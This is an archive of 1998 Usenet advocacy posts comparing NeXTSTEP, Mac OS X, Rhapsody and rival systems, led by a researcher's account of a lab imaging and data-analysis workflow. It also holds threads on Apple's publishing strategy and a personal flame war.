> 2) Worked on data analysis. Used a lab-written program to take image
> data from a Photometrics frame transfer CCD camera and write out 104
> individual ppm files of each frame during a run. These pseudo-color
> data reflect changes in intracelluar calcium with time. Then used
> programs from the netpbm package to merge each of those frames with an
> image of the cell under study and masked the calcium image to the
> shape of the cell. Used a csh 'foreach' loop to do all of them.
> Another foreach loop rotated all the combined images 90'. Then used
> the "makempeg" shell script to combine the 104 images into a MPEG
> movie. That script used many of the netpbm programs and the 'mpeg'
> program. The end result is a movie of a neuron with the color
> changing with time in different parts of the cell during stimulation.
> (MPEG-making info from http://www.arc.umn.edu/GVL/Software/mpeg.html).
> Viewed the movie with both Movie.app and MPEG_Play.app. Programs used
> for all this: netpbm programs (downloaded and compiled with cc),
> Project Builder, several shell scripts, OmniWeb searching to find some
> of the programs I needed to get off the net, emacs for all editing,
> PixelMagician.app to view intermediate ppm images.
>
> 3) Continued on data analysis working with XY plots of the data.
> Modified a locally-written f77 program (Absoft compiler) to take each
> trace and subtract a background trace. Used 'dm' and 'gas' from
> UNIX|stat and GNU tools to scale data. Plotted data with nxyplot,
> collected several plots as EPS files and added annotation with
> SuperDraw.app.
>
> 4) We use LaTeX for manuscript preparation. We also use TiB to
> maintain a lab database of bibliographic references and format the
> citations and bibliographies. This weekend I investigated using
> PubMed as a tool to gather lists of new articles every week. To do
> this I wrote an HTML front end to send requests directly to the
> National Library of Medicine to get current tables of content for a
> list of about 100 scientific journals we follow. Articles desired are
> then marked, and a list of articles (in Medline format) are
> downloaded. This list is then massaged with Perl to convert it into
> refer format for inclusion in our bibliographic database.
>
> 5) Rlogin'd to different machines at work to fix a few mail
> configuration files and update aliases for people who have moved.
>
> So, in one weekend I used
> a) emacs for all editing
> b) OmniWeb to find and download program source code off the net and
> test locally-generated HTML code
> c) The plain C compiler and objective C compiler to build programs
> d) lots of command-line and csh-script programs (using pipes
> and redirection)
> e) Perl for text manipulation and generating HTML code on-the-run
> f) a f77 compiler for some numerical analysis (I think fastest in
> fortran for numerical stuff; shows my age, eh?)
> g) the netpbm programs (built from C source; some programs tweaked for
> our special uses)
> h) make and makefiles
> i) nxyplot for data visualization and saving plots in EPS
> j) SuperDraw to combine EPS files on one page
> k) command-line FTP to move files between home and lab.
> l) GateKeeper to handle PPP connections.
> m) NextMail to send files containing images to co-workers for
> feedback.
> n) Unix networking to log into different machines to update
> configurations.
>
> Other things we need in the lab
> a) We use SafetyNet to back up our files every night from all the
> local machines with NFS-mounted directories
> b) We need to have a good driver kit to write drivers for data
> acquisition hardware (a/d, d/a converters; CCD cameras)
> c) lots of networking; data may be crunched an another machine, then
> displayed on a NeXT. We use NXHost to run some old black-only apps
> and display on Intel machines.
>
> Nextstep makes all of the above easy. We also have a new SGI in the
> lab; it's fast as hell for straight number crunching, but just not as
> easy to use for things like the above. X looks bad compared to the
> Next window manager and display. Next services and universal cut&paste
> make things so easy. I guess I use about 75% general Unix
> command-line tools and 25% point&click apps; the proportions are
> opposite for most in the lab and closer to 98% point&click for the
> rest. Nextstep makes up all happy, regardless of our usage styles.
>
> If MacOS X will let us do all of the above, we'll likely go with
> Apples to replace our aging NeXTstep-running machines. If not it'll
> be really hard to decide between NT, Linux, SGI, or a bullet in the
> head.
Off of the top of my head, I'd suggest that you look at MacOS X Server
(a.k.a Rhapsody) rather than MacOS X. It's more driven towards those kinds
of operations.
--
³I pledge to punch all switches, to never shoot where I could use
grenades, to admit the existence of no level except Total Carnage, to
never use Caps Lock as my Œrun¹ key, and to never, ever, leave a
single Bob alive.² -- Oath of the Vidmaster
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Fwd: EvangeList Digest V1 #1262
Date: Sun, 30 Aug 1998 01:49:26 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-3008980149260001@sdn-ar-001casbarp311.dialsprint.net>
References: <1defsc4.uzig3q12y8v3cN@pppsl910.chicagonet.net> <macghod-2708982236340001@sdn-ar-002casbarp139.dialsprint.net> <1dehyy2.1gd9lbb1uwfz7uN@pppsl847.chicagonet.net> <6sa8av$ste$1@nnrp1.dejanews.com> <macghod-2908981930370001@sdn-ar-001casbarp054.dialsprint.net> <1dejlo1.1ucpyxt1miqtlnN@pppsl915.chicagonet.net> <macghod-2908982205030001@sdn-ar-002casbarp325.dialsprint.net> <1dejyff.11zbs961vkhwxzN@pppsl915.chicagonet.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <1dejyff.11zbs961vkhwxzN@pppsl915.chicagonet.net>,
guess@it.spammer (Cybernaught) wrote:
> > OH, he posts 3 things in that article which are all false, and you think
> > he nailed me? I have never lived in washington, I was never fired from
> > apple, and he has various times said imacs are faster than p2 400's, which
> > only occurs in his dreams.
>
> I said that he nailed you on the first two, and I asked why you threw in
> the third. You mentioned the P2 400's, not Jay. Of course the reason
> that you did it is obvious. You want to divert attention away from the
> way that Jay nailed you.
Except for the fact that
1) I DONT live in washington (DUH!!)
2) I wasnt fired from apple.
SO I guess he did nail me, except for the fact that everything he said was false
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: "Steven Schulze" <sschulze@netwiz.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 30 Aug 1998 16:18:00 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6scmmf$8dh$1@supernews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net>
Mime-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Gierke wrote in message ...
>In article <6sccvd$5i@gazette.bcm.tmc.edu>, rick@mft.neusc.bcm.tmc.edu
>(Rick Gray) wrote:
>
>Off of the top of my head, I'd suggest that you look at MacOS X Server
>(a.k.a Rhapsody) rather than MacOS X. It's more driven towards those kinds
>of operations.
Now there's another oxymoron:
Mac Server
And with Apple's track record on delivering on OS promises, I believe it's
going to stay that way for a long time....
Steven Schulze
Concord, CA
From: derobert@erols.com (Anthony DeRobertis)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Sun, 30 Aug 1998 22:24:15 -0400
Organization: -
Message-ID: <derobert-3008982224150001@207-172-119-96.s96.tnt2.brd.erols.com>
References: <B20DCE84-5F9B3@206.165.43.126>
In article <B20DCE84-5F9B3@206.165.43.126>, "Lawson English"
<english@primenet.com> wrote:
QuickDraw wil need to be modified to be PMT-safe. Next question, please!
--
Windows 95 (win-DOH-z), n. A thirty-two bit extension and graphical
shell to a sixteen bit patch to an eight bit operating system
originally coded for a four bit microprocessor which was used in a PC
built by a two bit company that couldn't stand one bit of competition.
Subject: Re: What we need from Mac OS X
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu>
In-Reply-To: <6sccvd$5i@gazette.bcm.tmc.edu>
From: Paul Buckley <pb141@columbia.edu>
Message-ID: <0MnG1.80$9t2.204968@news14.ispnews.com>
NNTP-Posting-Date: Sun, 30 Aug 1998 22:20:44 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 31 Aug 1998 02:20:44 GMT
On 08/30/98, Rick Gray wrote:
>... For example, here's what I've been doing this weekend...
I hope you're taking Monday off.
My work now is mostly clinical (using spreadsheet and filing apps) but back
in the lab I had a similar environment. Before the NeXT cube appeared
dedicated PCs collected the data, SGI machines were used for crunching
operations using the cli, and images had to be ported to the mac for some
manipulations, not a simple task. The black box quickly became a central
place for publication preparation since it had the apps and the engine and
could communicate with all the the other machines. The availability of true
WISIWIG, and the lack of a versatile filesystem, left the mac idle. Now that
the NeXTs are ageing I understand the lab is moving back to the old
suffle-between-boxes paradigm (and they have a few new macs around anyway).
Unfortunately, Apple is not marketing its new tools to edu, nor to people
who spend their weekends exploiting their specialized system. X is still a
sophisticated OS so if they just stop working so hard to hobble it and to
hide it from their users your kind of interconnectivity, somebody's
preference for vertical menus, and multiple filesystem types will all be
possible. Otherwise, it's probably time to hire someone who knows Linux (and
buy a couple of old station power supplies).
From: Proteus@Olympus.god (Proteus)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sat, 29 Aug 1998 23:08:28 GMT
Organization: MindSpring Enterprises
Message-ID: <35fc86a5.88051638@news.mindspring.com>
References: <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net> <joe.ragosta-1908981845370001@elk70.dol.net> <35DC37CF.56D9BDC2@ericsson.com> <joe.ragosta-2108981424080001@wil54.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Fri, 21 Aug 1998 14:24:07 -0400, joe.ragosta@dol.net (Joe Ragosta)
wrote:
>In article <35DC37CF.56D9BDC2@ericsson.com>, Michael Peck
><Michael.Peck@ericsson.com> wrote:
>
>> Joe Ragosta wrote:
>>
>> > > No instead we have a bunch of bureaucrats telling car manufacturers
>> > > what they will make and how many. We have CAFE standards that mandate
>> > > smaller less safe cars. We have air bags being forced onto cars
>> >
>> > Not true. CAFE standards mandate fuel economy. There's nothing in them
>> > that mandates that cars need to be less safe.
>>
>> Fuel economy standards are a function of automobile size class.
>
>That's true.
>
>But if you have a CAFE that says you have to reach 29 mpg fleet average,
>you can do that a number of different ways. Making the cars less safe is
>only one of them.
It is clearly the only economically feasible way, or else car
manufacturers wouldn't be doing it.
--
******************************************************
"What you do speaks so loud that I
cannot hear what you say."
Ralph Waldo Emerson
******************************************************
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,
Subject: Re: Fwd: EvangeList Digest V1 #1262
Date: Sun, 30 Aug 1998 13:31:42 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-3008981331420001@sdn-ar-002casbarp281.dialsprint.net>
References: <1defsc4.uzig3q12y8v3cN@pppsl910.chicagonet.net> <macghod-2708982236340001@sdn-ar-002casbarp139.dialsprint.net> <1dehyy2.1gd9lbb1uwfz7uN@pppsl847.chicagonet.net> <6sa8av$ste$1@nnrp1.dejanews.com> <macghod-2908981930370001@sdn-ar-001casbarp054.dialsprint.net> <1dejlo1.1ucpyxt1miqtlnN@pppsl915.chicagonet.net> <macghod-2908982205030001@sdn-ar-002casbarp325.dialsprint.net> <1dejyff.11zbs961vkhwxzN@pppsl915.chicagonet.net> <macghod-3008980149260001@sdn-ar-001casbarp311.dialsprint.net> <1dek40w.88i404hpejkpN@pppsl915.chicagonet.net> <macghod-3008981003030001@sdn-ar-002casbarp192.dialsprint.net> <1deks9k.4bpk3ydlwtkgN@pppsl944.chicagonet.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <1deks9k.4bpk3ydlwtkgN@pppsl944.chicagonet.net>,
guess@it.spammer (Cybernaught) wrote:
> > > > Except for the fact that
> > > > 1) I DONT live in washington (DUH!!)
> > > > 2) I wasnt fired from apple.
> > > >
> > > > SO I guess he did nail me, except for the fact that everything he
said was
> > > > false
> > >
> > > So traceroute lies, is that it? You've been nailed. You can't dance
> > > your way out of this.
> >
> > Ok, please explain to us how traceroute would give what city and state I
> > am in? I have nothing against the state of washington, I have been through
> > oregon and washington once or twice in my life and it is beautiful. The
> > only thing is I have never lived in washington :P
>
> No, I won't explain. It can give you that information, but it's better
> to keep you ignorant of how, so you can't cover yourself. You've been
> nailed.
You are such an Idiot. You "nailed me" that I live in "washington"? I
bet you have no clue what the F you are talking about, and that is why you
wont explain. You wont explain because you have no clue what you are
talking about.
> >
> > Where I live is no secret, I have given the name of the local paper here
> > in a post. It was in the first post of the thread apple mindshare
> > skyrocketing.
>
> You know the name of a newspaper, so that proves where you live?
> Newspapers are on-line now, and you could always get them mailed to you.
> Nice try, but you're still nailed.
>
> >
> > You have no clue what you are talking about Edwin E THorne
>
> You're giving me yet another name? Okay, fine by me. You're still
> nailed.
I am nailed of what? Oh, and please tell me what city I live in in
washington. Either you or Jay Riley can answer this. Anyone notice how
Jay Riley Hasnt apologized for the untruths he has told about me?
Maybe some of our Next friends can explain to me how traceroute would say
I live in washington.
Oh, ps Edwin, you win. I now find it pointless to talk to you so I am
killfiling you.
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
Date: Mon, 31 Aug 1998 00:06:22 -0800
Organization: UC Irvine
Message-ID: <rmcassid-3108980006240001@dialin9062.slip.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu> <1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu> <vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net>
In article <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net>,
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
> In article <vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> > They do... where's Rhapsody server w/SMP? What server strategy have they
> > laid out? You only see consumer plans.
> And as for you thinking about a "Publishing OS", I don't think that's what
> Bob meant. And I think it's a bad idea, if I'm interpreting what you say
> correctly (that is, an OS with publishing stuff all tied into it at the
> system level). He meant, as I see it (and correct me if I'm wrong, Bob)
> that Apple needs to get all the top-notch DTP apps tied back to the Mac in
> mindset, by having them take full advantage of it (which Quark, Adobe, et
> al aren't doing right now).
Exactly. Not a publishing OS. But an OS that is not hostile to publishing
married to apps that are not hostile to the OS. The MacOS is a rather
publishing friendly OS (could be improved, agreed) but the apps available
have become increasingly MacOS _un_friendly. In fact, the apps have become
little mini-OSes all of their own, and that too is bad because it means
that Adobe and Quark and all of them have committed themselves to
reproducing a good deal of what Apple and MS have already done.
> So Apple's money is in the hardware, right?
> And the Mac OS only runs on Apple's hardware. So if you can get Mac OS to
> be the OS of choice for running DTP apps, by having them take full
> advantage of things like AppleScript and (on the WWW front) WebObjects,
> then more publishers will want to run Mac OS, which requires that they buy
> Apple hardware. Which will lead to more marketshare and, hence, more
> viability to the Mac as a platform, which could bring in more users from
> other areas. Plus, if these publishers are already using Apple systems for
> their work, guess what they're likely to turn to for other aspects, such
> as a consumer and server setups.
Right. Publishing is a halfway decent migration area. It's critical for a
lot of businesses so it gets Apple in the door.
[snipped ways Apple has failed to gain marketshare]
> But now, Apple's got the technology for a great server platform, and
> hopefully they'll market the hell out of it. They've still got a decent
> portion of the publishing niche, and discussions in this thread have lead
> to ways of keeping and enlarging it. They've got a good and more
> importantly *DISTINCT* and *MEMORABLE* low-end and education system, the
> iMac, plus another eduation system coming in the "Consumer Portable".
> They've got good mid-to-medium-high-end systems in the PowerMac G3s, with
> even better high end systems on the way with the PowerMac Pro line.
> They're attacking from all angles, and hopefully the combined niche
> penetration into businesses and homes will total up to a signifigant
> market segment, and if they can hold their target markets as well, they'll
> have secured their position in the computing market.
Right. Apple needs to _take_ certain markets. They need to win them so
thoroughly that there will be no doubt what company to go to, and no doubt
in the minds of their customers that they will be around in 5 years - 75%
share or mroe. Publishing is an achievable market. Education is. If Apple
can secure these two, then they have guaranteed, if limited, income and
security. They can take advantage of that security and stability to attack
other related markets.
Merging or acquiring Adobe would be a _very_ Microsoftian move by Apple.
It'd be good for Apple. It may not be good for the industry (though given
the current state of things, may not be so awful either) or for consumers,
though.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
Date: Mon, 31 Aug 1998 00:20:47 -0800
Organization: UC Irvine
Message-ID: <rmcassid-3108980020470001@dialin9062.slip.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu> <1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu> <vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net> <_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com>
In article <_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> In <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net> Forrest
> Cameranesi wrote:
> > And on the hardware side, there's the PowerMac Pro line, which
> > should make nice server machines.
> None of this stuff even comes close to challenging the performance of a Sun
> server. But you're right. They are servers and that is all a consumer will
> care to know. So they'll think they are servers. And, indeed, they will
> make fine consumer servers!
And, as you yourself point out, "The technology means nothing if it
doesn't affect people's lives in meaningful ways.". Sun hardware does
nothing for me locally. NT hits closer to the mark, Apple closer still.
The performance isn't the issue. The approachability is.
> Good point... maybe this is all that RmCassidy meant. Seems like a mercenary
> campaign is in order for "non - believers" of the Mac way. The point of OS
> integration is to cast the _publishing_ way in stone. Pushing for voluntary
> compliance on the Mac, is the tail wagging the dog.
Adobe has a captive audience. Apple can benefit from a captive audience.
> So your answer to Mr RMCassidy is "look" at all the cool hardware Apple has?
> " What more could you want"? For too long, too many Apple followers have
> been hooked on technology. Get over it. The technology means nothing if it
> doesn't affect people's lives in meaningful ways.
Again, I don't think the hardware is really the issue. What Apple sells is
satisfactory for the job. It's not a problem that will prevent adoption of
Apple solutions. What _will_ prevent adoption is poor integration,
interoperability, etc. MS's business is not determined by the quality of
hardware, and neither will Apple's long-term. Solving the problem that the
computer is asked to solve is what determines the success of the company
behind it. Apple will not win the publishing market without good
publishing interoperability in apps and with the OS. The hardware is fine
for the task. The problem lies with poor app support and interoperability.
> The problems in the publishing sector fragment and disintegrate. They are
> thrid party vendor problems which rest solely with those companies. That
> doesn't mean that it is not in Apple's best interest to take the opportunity
> to correct them.
But if the 3rd party solves the problems more effectively on NT than on
MacOS, then the problem is uniquely Apple's. And that is the problem they
face right now.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Mon, 31 Aug 1998 00:32:36 -0800
Organization: UC Irvine
Message-ID: <rmcassid-3108980032370001@dialin9062.slip.uci.edu>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu> <6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu> <6samgn$6f7$1@holly.prod.itd.earthlink.net>
In article <6samgn$6f7$1@holly.prod.itd.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
> rmcassid@uci.edu (Robert Cassidy) wrote:
>
> >True. But it's also true that MS has a very tenuous relationship with the
> >publishing sector without major Adobe intervention.
>
> And it's for this reason that I support Apple NOT making it any easier for
> people to migrate to NT by putting its crown jewels there.
I think Apple can have it both ways. Explained below.
> Even if MS Office ran, say, 30% faster on Mac, Win people would never move.
> Similarly, it's not enough that Photoshop runs 30% faster on Mac to stop
> formerly-Mac shops from jumping ship. A distinct platform *need* distinct
> advantages: ColorSync, QT creation, AppleScript, etc. should stay as distinct
> advantages.
That's an excellent point. I would actually look at a product like
Photoshop and decide 'well, we don't need our own colorpickers. We'll just
use the ones in the OS. And we don't need our own scripting language,
we'll use the one in the OS.' Apple starts streamlining a lot of these
apps (like MS does) and at the same time builds in distinct advantages.
The burden for parity falls on MS. The risk is that Apple and MS possibly
get back into a pissing contest.
-Bob Cassidy
From: Porn.Stars@FamousxChicks.com
Newsgroups: comp.sys.next.advocacy
Subject: FIONA APPLE NUDE 36965
Message-ID: <31089804.0741@FamousxChicks.com>
Organization: <no organization>
Distribution: World
Date: Mon, 31 Aug 1998 08:09:28 GMT
NNTP-Posting-Date: Mon, 31 Aug 1998 04:09:28 EDT
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From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Mon, 31 Aug 1998 10:02:37 +1000
Organization: OzEmail Ltd.
Message-ID: <6scp0t$aru$1@reader1.reader.news.ozemail.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com>
>>Shelton Garner wrote in message ...
>>>Like I've said before--what if Apple went with Linux instead. Then it
>>>could produce software that would run on both Mac and PC hardware
>>>systems as well as grow as Linux grew.
>They can do this now if they wanted to. Right now the priority is OSX
>on the g3, after that it's anyones guess.
> Greg Alexander <galexand@ozemail.com.au> wrote:
>>I think it would be a great idea for Intel support.
>>Sell a Mac GUI with YB and Quicktime on Linux. Add Carbon if they
>>can.
>>Surely it'd be easier to do this on the BSDs though? (At least to start with).
Sal Denaro wrote
>Mach/BSD is just as portibly as Linux.
Yes but Apple's upper layers (of MacOS X) already run on Mach-BSD.
So BSD straight might be easier than Linux straight.
Or maybe MkLinux would be easier because of the Mach?
Anyway, using their own open source BSD would be the easiest
of all naturally.
Apple could make YB run in lots of places - but offering a Mac GUI
environment has a separate appeal.
I just think there's an opportunity for existing BSDs or Linux.
Greg
From: "Steven Schulze" <sschulze@netwiz.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What we need from Mac OS X
Date: Sun, 30 Aug 1998 14:01:00 -0700
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <6scehk$oup$1@supernews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu>
Mime-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
You are not going to get unbiased advice in any .advocacy newsgroup.
Steven Schulze
Concord, CA
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
Newsgroups: comp.sys.next.advocacy
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu> <NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu> <1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu> <vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net> <_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com>
Message-ID: <35e9ab30.0@news.depaul.edu>
Date: 30 Aug 98 19:42:40 GMT
rr6013@yahoo.com wrote:
> BullShit... point to a public reference. That's only what you want to
> believe.
http://developer.apple.com/macosx/server/rhapfaq/3.html
When will Rhapsody first deliver SMP?
Rhapsody will not support SMP. SMP support will be delivered with Mac OS X.
Created: 10/8/97
Modified: 6/20/98
From: blewis@cablestogo.com (Brian Lewis)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What we need from Mac OS X
Date: Sun, 30 Aug 1998 21:41:27 GMT
Organization: EriNet Online 937 436-1700 (Voice)
Message-ID: <35e9c6e6.6090296@nntp.erinet.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <6scehk$oup$1@supernews.com>
Well, you will find a better balance of opinions here than in the
Intel newsgroups! That and no moderation! Gotta love usenet.
On Sun, 30 Aug 1998 14:01:00 -0700, "Steven Schulze"
<sschulze@netwiz.net> wrote:
>You are not going to get unbiased advice in any .advocacy newsgroup.
>
>Steven Schulze
>Concord, CA
>
From: blewis@cablestogo.com (Brian Lewis)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 31 Aug 1998 01:07:42 GMT
Organization: EriNet Online 937 436-1700 (Voice)
Message-ID: <35e9f6f2.18392599@nntp.erinet.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com>
Since Amelio took charge, they've been on target for their OS
releases.
7.6 - On Time
8.0 - On Time
8.1 - On Time
8.5 - Should be no exception
MS Still hasn't got SP4 for NT 4.0 out after promising and promising
it would be available in March, the May, then July, then a month after
NT5 Beta 2.
On Sun, 30 Aug 1998 16:18:00 -0700, "Steven Schulze"
<sschulze@netwiz.net> wrote:
>
>Gierke wrote in message ...
>>In article <6sccvd$5i@gazette.bcm.tmc.edu>, rick@mft.neusc.bcm.tmc.edu
>>(Rick Gray) wrote:
>>
>>Off of the top of my head, I'd suggest that you look at MacOS X Server
>>(a.k.a Rhapsody) rather than MacOS X. It's more driven towards those kinds
>>of operations.
>
>
>Now there's another oxymoron:
>
>Mac Server
>
>And with Apple's track record on delivering on OS promises, I believe it's
>going to stay that way for a long time....
>
>Steven Schulze
>Concord, CA
>
>
From: jacobf@mindspring.com (Jacob F)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What we need from Mac OS X
Date: Mon, 31 Aug 1998 01:19:11 GMT
Organization: MindSpring Enterprises
Message-ID: <35e9f982.109653689@news.mindspring.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net>
Im not sure if it can do all that stuff but BeOS's interface
is great, it has a CLI shell (I dont really use it since I dont know
what Im doing with it :-P). Linux is great for Networking so is
FreeBSD, but a lot of your stuff seems to be based on NeXt software
right? Wouldnt it be tough to port it all? Since MacOS X is Next based
it would probably be your BEST solution.
>> I'm concerned whether the "new" Apple will meet our needs. I have a
>> NeXT turbo color at home that connects to the lab via PPP through a
>> local ISP. We have several old black NeXTs and Intel machines, all
>> running Nextstep 3.3, at the lab. I'm tired of the main discussions
>> here being about game speed, $400 differences in price between Apple
>> and Microsoft-running Intel machines, and which processors are
>> marginally faster. I need comparisons and info for the real work I do
>> every day. For example, here's what I've been doing this weekend at
>> home:
>>
>> 1) Used emacs and Omniweb to fix a few bugs in a Perl5 application
>> that maintains a WWW-based scheduling calendar for our departmental
>> seminar series.
>>
>> 2) Worked on data analysis. Used a lab-written program to take image
>> data from a Photometrics frame transfer CCD camera and write out 104
>> individual ppm files of each frame during a run. These pseudo-color
>> data reflect changes in intracelluar calcium with time. Then used
>> programs from the netpbm package to merge each of those frames with an
>> image of the cell under study and masked the calcium image to the
>> shape of the cell. Used a csh 'foreach' loop to do all of them.
>> Another foreach loop rotated all the combined images 90'. Then used
>> the "makempeg" shell script to combine the 104 images into a MPEG
>> movie. That script used many of the netpbm programs and the 'mpeg'
>> program. The end result is a movie of a neuron with the color
>> changing with time in different parts of the cell during stimulation.
>> (MPEG-making info from http://www.arc.umn.edu/GVL/Software/mpeg.html).
>> Viewed the movie with both Movie.app and MPEG_Play.app. Programs used
>> for all this: netpbm programs (downloaded and compiled with cc),
>> Project Builder, several shell scripts, OmniWeb searching to find some
>> of the programs I needed to get off the net, emacs for all editing,
>> PixelMagician.app to view intermediate ppm images.
>>
